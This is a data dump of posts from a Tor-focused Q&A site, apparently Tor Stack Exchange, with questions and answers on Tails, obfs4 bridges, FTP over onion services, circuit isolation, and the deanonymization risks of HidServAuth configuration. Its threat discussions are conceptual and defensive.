  <row Id="16334" PostTypeId="2" ParentId="12356" CreationDate="2017-12-21T09:07:58.523" Score="0" Body="&lt;p&gt;If connections used to show and now they don't, try just leaving nyx open to the connections screen for a good minute. I'm not sure if the connections list being too long or the relay server being CPU overloaded is the problem (or both). But sometimes I just have to wait.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Also I tried &lt;code&gt;DisableDebuggerAttachment 0&lt;/code&gt;, and I got a message about this not being allowed and my tor relay just shut down immediately when I did a systemctl reload.)&lt;/p&gt;&#xA;" OwnerUserId="19270" LastActivityDate="2017-12-21T09:07:58.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16336" PostTypeId="1" CreationDate="2017-12-21T10:28:38.440" Score="0" ViewCount="1846" Body="&lt;p&gt;I am using Tails in windows in a virtual box though this defeats the purpose.  Are there any guides or information on how to do this so I can have a lot more anonymity.  If I get rid of my SSD and hard drive, how will my pc run?  Will it even run from a usb?  I am hesitant to remove hard drive and ssd in case this is not possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="20409" LastActivityDate="2022-03-31T03:02:20.243" Title="How do I use tails without any storage device?" Tags="|tor-browser-bundle|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16337" PostTypeId="2" ParentId="16336" CreationDate="2017-12-21T12:03:46.430" Score="0" Body="&lt;p&gt;Tails does not require, and actively avoids using, HDDs or SSDs as it is intended only to be used with removable media to avoid leaving traces that it was ever run on the computer. It should operate fine from being installed on a USB or DVD without any other storage media attached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://tails.boum.org/about/index.en.html#index2h1&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails website&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tails is configured with special care to not use the computer's hard-disks, even if there is some swap space on them. The only storage space used by Tails is in RAM, which is automatically erased when the computer shuts down. So you won't leave any trace on the computer either of the Tails system itself or what you used it for. That's why we call Tails &quot;amnesic&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To create a Tails USB or DVD, you should simply be able to follow the steps outline by the &lt;a href=&quot;https://tails.boum.org/install/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails Installation Assistant&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;A crash course on &quot;Tails for journalists&quot; available from &lt;a href=&quot;https://www.youtube.com/watch?list=PLOZKbRUo9H_qXgyGp5UVYCoGQYo9YB5E8&amp;amp;v=-f6cgUKBUXg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Infosec Bytes&lt;/a&gt; help you familiarise yourself with the concepts behind Tails and of course there is Tails' own &lt;a href=&quot;https://tails.boum.org/doc/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;extensive support documentation&lt;/a&gt; and &lt;a href=&quot;https://tails.boum.org/contribute/design/&quot; rel=&quot;nofollow noreferrer&quot;&gt;design documents&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-12-21T12:03:46.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16338" PostTypeId="2" ParentId="16333" CreationDate="2017-12-21T12:27:09.983" Score="0" Body="&lt;p&gt;I may have just been mistaken about my bandwidth and CPU usage before. I was trying to just eyeball the Nyx graph, but I should've been reading the actual average it gives me. My avg download is 1.5 MBps and avg upload is 1.4 MBps. This may be normal for a Raspberry Pi 3 while it's being CPU throttled for overheating (the CPU is always 80-83 degrees C).&lt;/p&gt;&#xA;" OwnerUserId="19270" LastActivityDate="2017-12-21T12:27:09.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16339" PostTypeId="2" ParentId="16329" CreationDate="2017-12-21T12:36:13.367" Score="0" Body="&lt;p&gt;&lt;code&gt;obfs4&lt;/code&gt; is a distinct program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;tor&lt;/code&gt; is normally configured to launch and manage a copy of the &lt;code&gt;obfs4&lt;/code&gt; program which provides a SOCKS interface for Tor to connect to a bridge over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;obfs4&lt;/code&gt; is a &quot;Pluggable Transport&quot;, meaning it follows the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/pt-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pluggable Transport Specification&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor 0.2.5.1 supports pluggable transports.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if the device is &quot;security minded&quot;, as you claim, it should not be running old and unpatched versions of Tor like 0.2.5.1. The 0.2.5.x series is on 0.2.5.16 as there have been numerous security patches since 0.2.5.1.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-12-21T12:36:13.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16340" PostTypeId="2" ParentId="16323" CreationDate="2017-12-21T18:05:49.620" Score="0" Body="&lt;p&gt;You can use Exitnodes in your torrc to set a country code which will make the traffic look like it's coming from that particular country but it's purely a matter of luck when it comes to getting connected to exit nodes that aren't blacklisted as exit nodes handle several connections at any given time, they'll appear as bots to website so they get blacklisted.&lt;/p&gt;&#xA;" OwnerUserId="20415" LastActivityDate="2017-12-21T18:05:49.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16341" PostTypeId="1" CreationDate="2017-12-22T17:07:04.727" Score="0" ViewCount="524" Body="&lt;p&gt;I'm seeking something like &lt;a href=&quot;https://downforeveryoneorjustme.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://downforeveryoneorjustme.com/&lt;/a&gt;, but for testing if a site is blocking Tor requests. Does such a beast exist? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="20426" LastActivityDate="2022-04-01T10:04:25.470" Title="Is there a way to find out if a site is blocking Tor?" Tags="|censorship|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16342" PostTypeId="2" ParentId="16341" CreationDate="2017-12-22T19:00:42.313" Score="0" Body="&lt;p&gt;for that purpose I use the following site:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://web-capture.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://web-capture.net/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://isup.me/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://isup.me/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="20389" LastActivityDate="2017-12-22T19:00:42.313" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16343" PostTypeId="1" CreationDate="2017-12-22T21:36:54.243" Score="1" ViewCount="775" Body="&lt;p&gt;I have seen several ways using stem and socks but I could not connect to an FTP yet.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3.5&#xA;import ftplib &#xA;import os &#xA;&#xA;def upload(ftp, file):&#xA;&#xA;    ext = os.path.splitext(file)[1]&#xA;    if ext in(&quot;.txt&quot;, &quot;.htm&quot;, &quot;.html&quot;):&#xA;&#xA;        internet.ftp.storlines(&quot;STOR &quot; + file ,open(file))&#xA;    else:&#xA;        internet.ftp.storbinary(&quot;STOR &quot; + file, open(file, &quot;rb&quot;), 1024)&#xA;&#xA;ftp = ftplib.FTP('jk5qbvzlgbmss3zh.onion')&#xA;ftp.login(&quot;proftpd&quot;,&quot;123123&quot;)&#xA;&#xA;upload(ftp, &quot;file.zip.gpg&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20429" LastActivityDate="2019-10-08T09:07:00.040" Title="I want upload a file to a ftp server using Tor proxy to comunicate with a Hidden Service [Python 3]" Tags="|linux|python|stem|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16344" PostTypeId="2" ParentId="16343" CreationDate="2017-12-22T22:12:56.640" Score="3" Body="&lt;p&gt;The &lt;em&gt;tl;dr&lt;/em&gt; is that FTP and .onion do not go well together and never will, due to how the FTP protocol works. For more details, see below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FTP goes a little like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Client connects to the &quot;command&quot; channel.&lt;/li&gt;&#xA;&lt;li&gt;Client logs in to the &quot;command&quot; channel.&lt;/li&gt;&#xA;&lt;li&gt;Client asks for some data over the &quot;command&quot; channel.&lt;/li&gt;&#xA;&lt;li&gt;If you're using &lt;em&gt;Active Mode&lt;/em&gt;:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Client opens up a listener port on their own computer and tells the server the IP and Port to connect to over the &quot;command&quot; channel.&lt;/li&gt;&#xA;&lt;li&gt;Server connects to the client's &quot;data&quot; port, and sends the data.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Else, if you're using &lt;em&gt;Passive Mode&lt;/em&gt;:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Server opens up a high numbered port on it's own system, and tells the client the IP and Port over the &quot;command&quot; channel.&lt;/li&gt;&#xA;&lt;li&gt;Client connects to the &quot;data&quot; port and receives the data.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, &lt;em&gt;Active&lt;/em&gt; is &lt;em&gt;always&lt;/em&gt; bad for Tor users, because as you can see the client has to tell the server it's IP address, revealing the users location (at least as accurately as the FTP client knows it). &lt;em&gt;Passive&lt;/em&gt; however &lt;em&gt;can&lt;/em&gt; be used over Tor without revealing the client IP...but consider the situation with onion services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you set up an onion service you specify a virtual port, mapped to some real listening port on your system. With FTP, the server will pick a high numbered port normally at random, or from some range. If you only set up port 21, then even &lt;em&gt;if&lt;/em&gt; the client could negotiate, the onion service has no virtual port mapping for port used in the data channel, so the connection would never get through (in fact, by default trying to connect to this high numbered port on the onion would result in the circuit being closed). So, you'd need to get the FTP server to only use a limited set of ports for listening on data connections in passive mode. That's the first barrier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second barrier is that the FTP protocol deals explicitly in IP addresses, since there is no IP used in onion services the client and server can't communicate where to connect to retrieve data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This feature of the FTP protocol, where they use distinct connections to keep commands and data separated, makes it incompatible with onion services without fundamental changes to the way in which FTP works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other problems might include that a malicious client who negotiates an active mode connection with the server can essentially tell the server to open a connection to an arbitrary location on the internet, how well have you ensured that the server cannot make connections outside of Tor where you could be deanonymized?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, you should opt for using protocols like &lt;a href=&quot;https://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol&quot; rel=&quot;nofollow noreferrer&quot;&gt;SFTP&lt;/a&gt;, the file sharing subsystem of SSH which doesn't have this particular problem and works fine with onion services on top of a lot of other advantages like actually being encrypted and authenticated, along with other advantages like public key based authentication mechanisms and more.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-12-22T22:12:56.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16351" PostTypeId="2" ParentId="4928" CreationDate="2017-12-25T04:52:42.463" Score="1" Body="&lt;p&gt;Tor doesn't require SOCKS5 login/password authentication but it creates different circuits for each unique login/password pair. So you can just use different random login/password to authenticate against SOCKS5 proxy to isolate you streams. &#xA;You doesn't even need to use &lt;strong&gt;SIGNAL NEWNYM&lt;/strong&gt;, just change login/password to some random value and you will got new circuits and exit nodes.&#xA;You doesn't even need to use &lt;strong&gt;different socks ports&lt;/strong&gt;, just change login/password to some random value and you will got new circuits and exit nodes.&lt;/p&gt;&#xA;" OwnerUserId="19766" LastActivityDate="2017-12-25T04:52:42.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16353" PostTypeId="1" CreationDate="2017-12-25T15:09:07.280" Score="0" ViewCount="529" Body="&lt;p&gt;Can the ISP provider know that we are running tails?&#xA;As we have bridges in tor-browser is there something like this in tails?&#xA;If so then how does it work?&#xA;Is there a solution to this vulnerabilty?&lt;/p&gt;&#xA;" OwnerUserId="19984" LastActivityDate="2018-07-25T04:00:24.420" Title="Tails and Surveilance?" Tags="|security|tails|surveillance|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16354" PostTypeId="1" CreationDate="2017-12-25T19:48:37.233" Score="0" ViewCount="672" Body="&lt;p&gt;Is it possible to specify a custom DNS server so that the targeted website can see it? Otherwise &lt;code&gt;ExitNodes {us}&lt;/code&gt; is useless if the website is geoblocking by DNS flag which is not shown clearly most of the time.&lt;/p&gt;&#xA;" OwnerUserId="20456" LastActivityDate="2017-12-27T00:38:56.150" Title="Specify custom DNS server" Tags="|configuration|exit-relays|dns|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16355" PostTypeId="1" CreationDate="2017-12-26T04:42:20.300" Score="0" ViewCount="73" Body="&lt;p&gt;What prevents tor from configuring ALL entry nodes to act like bridges? This would dramatically improve the speed for connecting through bridges&lt;/p&gt;&#xA;" OwnerUserId="15358" LastActivityDate="2017-12-27T00:36:19.100" Title="What prevents tor from configuring ALL entry nodes to act like bridges?" Tags="|bridge|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16357" PostTypeId="2" ParentId="15812" CreationDate="2017-12-26T09:33:09.063" Score="1" Body="&lt;p&gt;A Tor relay's descriptor is available at that relay as the resource '/tor/server/authority[.z]'. This is useful when you don't know the relay's fingerprint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using IPredator as an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://197.231.221.211:9030/tor/server/authority&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://197.231.221.211:9030/tor/server/authority&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, using stem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;import stem.descriptor.remote&#xA;dir_port = ('197.231.221.211', 9030)&#xA;stem.descriptor.remote.Query(resource='/tor/server/authority.z', endpoints=[dir_port]).run()[0]&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, if you prefer to use the high-level API, which gets the same relay descriptor, but using a slightly different resource internally ('/tor/server/fp/&lt;em&gt;fingerprint&lt;/em&gt;.z'):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;import stem.descriptor.remote&#xA;fingerprint = 'BC630CBBB518BE7E9F4E09712AB0269E9DC7D626'&#xA;dir_port = ('197.231.221.211', 9030)&#xA;desc = stem.descriptor.remote.get_server_descriptors(fingerprints=[fingerprint], endpoints=[dir_port]).run()[0]&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;stem can retrieve descriptors using either method, but only when the relay has a DirPort.&lt;/p&gt;&#xA;" OwnerUserId="20459" LastActivityDate="2017-12-26T09:33:09.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16359" PostTypeId="2" ParentId="16355" CreationDate="2017-12-27T00:36:19.100" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What prevents tor from configuring ALL entry nodes to act like bridges&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Bridges are unlisted and are only advantageous because they're unlisted, so using listed relays as &quot;bridges&quot; is almost exactly the same as using Tor without bridges.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This would dramatically improve the speed for connecting through bridges&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, there is no reason that this would be the case.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-12-27T00:36:19.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16360" PostTypeId="2" ParentId="16354" CreationDate="2017-12-27T00:38:56.150" Score="1" Body="&lt;p&gt;The Tor client doesn't perform DNS requests, Exits which you use do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you specify &lt;code&gt;ExitNodes {us}&lt;/code&gt; then an Exit in the which Tor thinks is in the US will resolve the address for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your application is making DNS requests, it is leaking and potentially deanonymizing you and you should reconfigure it to properly utilise Tor or use an application which is capable of doing so.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-12-27T00:38:56.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16361" PostTypeId="2" ParentId="16353" CreationDate="2017-12-27T00:48:51.313" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can the ISP provider know that we are running tails?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A careful network observer could make a good guess that you were using Tails, by observing network connection behaviour which is (more or less) unique to Tails and making an educated guess. This is covered in the &lt;a href=&quot;https://tails.boum.org/doc/about/fingerprint/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails Documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As we have bridges in tor-browser is there something like this in tails?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When you start Tails, you can configure it to use bridges at the greeter. You will be given the same Tor Launcher window that Tor Browser provides. You can configure these through the additional options available at the Tails Greeter when it first starts.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If so then how does it work?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The same as for Tor Browser. Tails doesn't support &lt;code&gt;meek&lt;/code&gt;, but it does support obfs{2,3,4} and scramblesuit. You should prefer &lt;code&gt;obfs4&lt;/code&gt; if you need to use a pluggable transport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails also doesn't have &quot;default&quot; bridges like Tor Browser does, so you will need to supply your own from &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BridgeDB&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-12-27T00:48:51.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16363" PostTypeId="1" CreationDate="2017-12-27T17:16:58.603" Score="0" ViewCount="2457" Body="&lt;p&gt;Does anyone knows how to fix Torbutton: Unexpected error on new identity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I get the tor browser running and trying to get new identity by clicking on green Torbutton &#xA;on the top left corner, this popup window shows up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[JavaScript Application]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Torbutton: Unexpected error on new identity: [Exception... &quot;Component returned failure code: &#xA;0x80520015 (NS_ERROR_FILE_ACCESS_DENIED) [nsIPrefService.savePrefFile]&quot;  nsresult: &quot;0x80520015 &#xA;(NS_ERROR_FILE_ACCESS_DENIED)&quot;  location: &quot;JS frame :: chrome://torbutton/content/torbutton.js &#xA;:: torbutton_do_new_identity :: line 1202&quot;  data: no]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OBS: Tor Browser for Windows Version 7.0.11 - Windows 7&lt;/p&gt;&#xA;" OwnerUserId="20466" LastActivityDate="2023-12-16T11:06:15.740" Title="How to fix Torbutton: Unexpected error on new identity?" Tags="|tor-browser-bundle|exit-relays|tor-button|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16364" PostTypeId="2" ParentId="16363" CreationDate="2017-12-27T17:27:54.480" Score="0" Body="&lt;p&gt;The clue is in the error: &lt;code&gt;NS_ERROR_FILE_ACCESS_DENIED&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Browser doesn't have write access to wherever it has been extracted to, Tor Button (during the New Identity process) asks Firefox to sync it's preferences to disk, specifically on the &lt;a href=&quot;https://gitweb.torproject.org/torbutton.git/tree/src/chrome/content/torbutton.js?h=maint-1.9.7#n1202&quot; rel=&quot;nofollow noreferrer&quot;&gt;referenced file on line &quot;1202&quot;&lt;/a&gt; it makes the call: &lt;code&gt;m_tb_prefs.savePrefFile(null);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this error, ensure that you install Tor Browser to a folder that the user who is running Tor Browser owns and has write access to, e.g. your &quot;Desktop&quot; folder.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-12-27T17:27:54.480" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16365" PostTypeId="1" CreationDate="2017-12-27T18:42:30.357" Score="0" ViewCount="676" Body="&lt;p&gt;my question concern an attack with following prerequisites:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) an home router hacked&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) tails installed on usb stick&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) the attacker has got a 0day on linux netfilter stack&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the attacker get in on tails through a 0day on netfilter stack attacking from the router.  Could he write files (for example a lkm rootkit) on the usb stick  where is installed tails ?&lt;/p&gt;&#xA;" OwnerUserId="20389" LastActivityDate="2022-04-06T15:03:50.380" Title="security on tails over usb stick" Tags="|security|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16366" PostTypeId="1" AcceptedAnswerId="16369" CreationDate="2017-12-27T18:43:19.780" Score="1" ViewCount="1231" Body="&lt;p&gt;I’m being asked by an onion site to add HidServAuth to my torrc file. I was wondering if my anonymity could be compromised in any way through the use of this feature. Thanks in advance. &lt;/p&gt;&#xA;" OwnerUserId="20470" LastActivityDate="2017-12-27T20:25:12.347" Title="Using HidServAuth" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16367" PostTypeId="2" ParentId="16365" CreationDate="2017-12-27T20:13:01.977" Score="0" Body="&lt;p&gt;Yes, with a remote kernel exploit it's possible that they could manipulate the contents of the USB drive to infect Tails and persist through reboots. This would be difficult to detect, but easy to remove.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply using the &quot;Upgrade&quot; feature of the Tails Installer to upgrade from an ISO or an existing uninfected (and purposefully kept offline) copy of Tails would replace the infected install with a genuine one, while keeping the encrypted persistent storage intact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To defend against it, booting from DVD might make their task more difficult, or using some kind of forensic &lt;a href=&quot;http://www.forensicswiki.org/wiki/Write_Blockers&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;write blocker&quot;&lt;/a&gt; that are intended to stop writes to disk occuring while media is forensically examined. While there are reports that some of them are less effective, in theory a well implemented one would work.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-12-27T20:13:01.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16369" PostTypeId="2" ParentId="16366" CreationDate="2017-12-27T20:25:12.347" Score="0" Body="&lt;p&gt;It &lt;em&gt;could&lt;/em&gt; be used to track you across attacker controlled sites and link together multiple identities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine a scenario where an attacker creates a HidServAuth key for each of their intended victims. The attacker controls multiple websites (onion services or normal websites). The attacker convinces the user to configure the HidServAuth option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user is now able to access the onion for which the HidServAuth is intended. The users access is unique to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The attacker adds &lt;a href=&quot;https://en.wikipedia.org/wiki/Web_beacon&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Web beacon&quot;&lt;/a&gt; type resources to all of the websites they control. The web beacon points to a URL under the HidServAuth onion, along with a unique string for each of the attacker controlled websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user, over time and under differing identities, visits some of these websites. The user loads the web beacon, this links together the users HidServAuth access and the website their visiting, if the attacker fully controls the websites they can link together account and identity information and perform long-term tracking of the user across any services they control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making such changes to your Tor configuration will make you behave in a unique way, different to all other Tor clients. Anyone, like the attacker, with knowledge of in &lt;em&gt;what way&lt;/em&gt; it will behave differently can try to manufacture circumstances where the behaviour will become apparent, I.E., the user is able to load a resource from an .onion that no other user could.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To defend against this, you might want to setup a second Tor Browser installation which has the HidServAuth configuration option which is used &lt;em&gt;exclusively&lt;/em&gt; for that .onion associated with that HidServAuth key. This will prevent it potentially contaminating your other activity on Tor.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-12-27T20:25:12.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16370" PostTypeId="1" CreationDate="2017-12-27T22:57:23.280" Score="0" ViewCount="3429" Body="&lt;p&gt;If I download a large (3GB) file using torsocks like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;torsocks wget http://website.com/largefile.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will tor change the Exit IP every x minutes for the duration of the download or will it download the entire file over one tor circuit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it generally a bad idea to download large files over tor? By &quot;bad idea&quot; I mean, is it stressful on the tor network and does it put users at (higher than normal) risk of de-anonymization?&lt;/p&gt;&#xA;" OwnerUserId="20476" LastActivityDate="2018-07-26T09:01:02.743" Title="Download large files over tor?" Tags="|configuration|exit-relays|deanonymization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16371" PostTypeId="2" ParentId="16370" CreationDate="2017-12-28T03:26:54.840" Score="1" Body="&lt;p&gt;Tor will &lt;em&gt;try to&lt;/em&gt; continue to use the same circuit for the duration of the connection. The exception being if some unexpected problem causes the connection to fail (e.g. your internet drops, the exit or hosts internet drops, or one of the connections between relays drops).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this does happen, a subsequent download &lt;em&gt;may&lt;/em&gt; use the same circuit again if the circuit hasn't been in use for more than 10 minutes (with &lt;em&gt;any&lt;/em&gt; connection, not just the download itself) then by default, it will use the same circuit, otherwise it will use a &quot;clean&quot; circuit for the new connection. There are some other exceptions to this but those aren't the default behaviours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally speaking downloads like that aren't harmful in the same way that torrenting, for example, would be. Obviously it does take up capacity on the network, so if you are using up a lot of resources with them it'd be kind to &lt;a href=&quot;https://www.torproject.org/getinvolved/volunteer.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;give back to the network&lt;/a&gt; in some way, if you can.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-12-28T03:26:54.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16373" PostTypeId="1" CreationDate="2017-12-28T14:26:55.120" Score="0" ViewCount="3050" Body="&lt;p&gt;I'm using the TorRequest library (&lt;a href=&quot;https://github.com/erdiaker/torrequest&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/erdiaker/torrequest&lt;/a&gt;) on Linux and it works fine, but I also need to run this script on Windows as well. In my distro, I installed only the &lt;strong&gt;tor&lt;/strong&gt; package and it worked, I did not need the &lt;strong&gt;TorBrowser&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that's my question. If I install TorBrowser on Windows, will my script work? Does it install together something like the &quot;tor&quot; package I mentioned that allows you to use the Tor network without having to use TorBrowser?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not a Windows user, so the question may sound silly.&lt;/p&gt;&#xA;" OwnerUserId="20480" LastActivityDate="2017-12-28T23:02:22.913" Title="Using Tor in a python script in Windows" Tags="|windows|linux|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16376" PostTypeId="1" CreationDate="2017-12-28T19:58:51.710" Score="1" ViewCount="113" Body="&lt;p&gt;Recently i have found a pdf talking about an attack using so-called “LinkWidth” against tor network, here it is &lt;a href=&quot;https://pdfs.semanticscholar.org/aa31/f6e8676e6c1a531854e4337649f0556e9280.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pdfs.semanticscholar.org/aa31/f6e8676e6c1a531854e4337649f0556e9280.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The authors claim, that they can uncover client IP using it, but is it even practical to do what they propoe nowadays?&lt;/p&gt;&#xA;" OwnerUserId="20483" LastActivityDate="2019-04-23T07:01:35.290" Title="Are the LinkWidth attacks still a threat?" Tags="|tor-browser-bundle|exit-relays|attacks|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
